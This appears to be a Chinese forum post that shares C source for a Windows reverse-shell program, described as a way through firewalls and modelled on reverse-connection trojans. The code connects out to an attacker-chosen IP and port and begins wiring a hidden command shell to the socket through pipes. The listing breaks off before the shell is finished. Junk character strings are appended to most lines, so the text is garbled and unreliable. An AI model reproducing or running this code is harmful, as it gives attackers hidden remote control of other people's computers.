这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ?kS#g
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/* ============================== T^q^JOC4
Rebound port in Windows NT c4.2o<(Xt
By wind,2006/7 {s{+MbD
===============================*/ vy-q<6T}:p
#include sl:1P^b
#include K^P&3H*(/n
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#pragma comment(lib,"wsock32.lib") v8zO Y#?
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void OutputShell(); VO~%O.>
SOCKET sClient; *y', eB
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $,0EV9+af
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void main(int argc,char **argv) E=91k.
{ \Nk578+AA
WSADATA stWsaData; sQ+s3x1y
int nRet; 0"Zxbgu)
SOCKADDR_IN stSaiClient,stSaiServer; ,y@WFRsx
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if(argc != 3) DB}v..
{ *BvdL:t
printf("Useage:\n\rRebound DestIP DestPort\n"); ^$]iUb{\
return; 5}a.<
} K+~1z>&
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WSAStartup(MAKEWORD(2,2),&stWsaData); ihekON":
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \-sW>LIA
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stSaiClient.sin_family = AF_INET; d[Zx [=h
stSaiClient.sin_port = htons(0); f4VdH#eng`
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /PbMt
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5 Pf)&iG
{ % bKy
printf("Bind Socket Failed!\n"); gLg.mV1<
return; <$ qT(3w<y
} #fk1'c2
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stSaiServer.sin_family = AF_INET; a^_W}gzzd
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wc-v]$DW
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Yj'"Wg
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Z?'?|vM
{ ,/kZt!
printf("Connect Error!"); g~U<0+&yw%
return; KpDb%j
} *3s-=.U~
OutputShell(); VVcli*
} JJ'f\f9
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void OutputShell() ;j
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{ hj{)6dBX%
char szBuff[1024]; bYqv)_8
SECURITY_ATTRIBUTES stSecurityAttributes; ;+bF4r@:+
OSVERSIONINFO stOsversionInfo; #m;o)KkH$r
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; XN{WxcZ
STARTUPINFO stStartupInfo; u6%\ZK._
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char *szShell; )&Z`SaoP|J
PROCESS_INFORMATION stProcessInformation; I8c:U2D
unsigned long lBytesRead; `\'V]9wS
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OUFy=5(%:
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Xk1uCVUe5
stSecurityAttributes.lpSecurityDescriptor = 0; #l@P}sHXq
stSecurityAttributes.bInheritHandle = TRUE; 'z{|#zd9
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M8$eMS1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 587;2
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w%..*+P
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !m%'aQHH(
stStartupInfo.wShowWindow = SW_HIDE; -7'|&zP
stStartupInfo.hStdInput = hReadPipe; )l.uj
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; N%ccy?B
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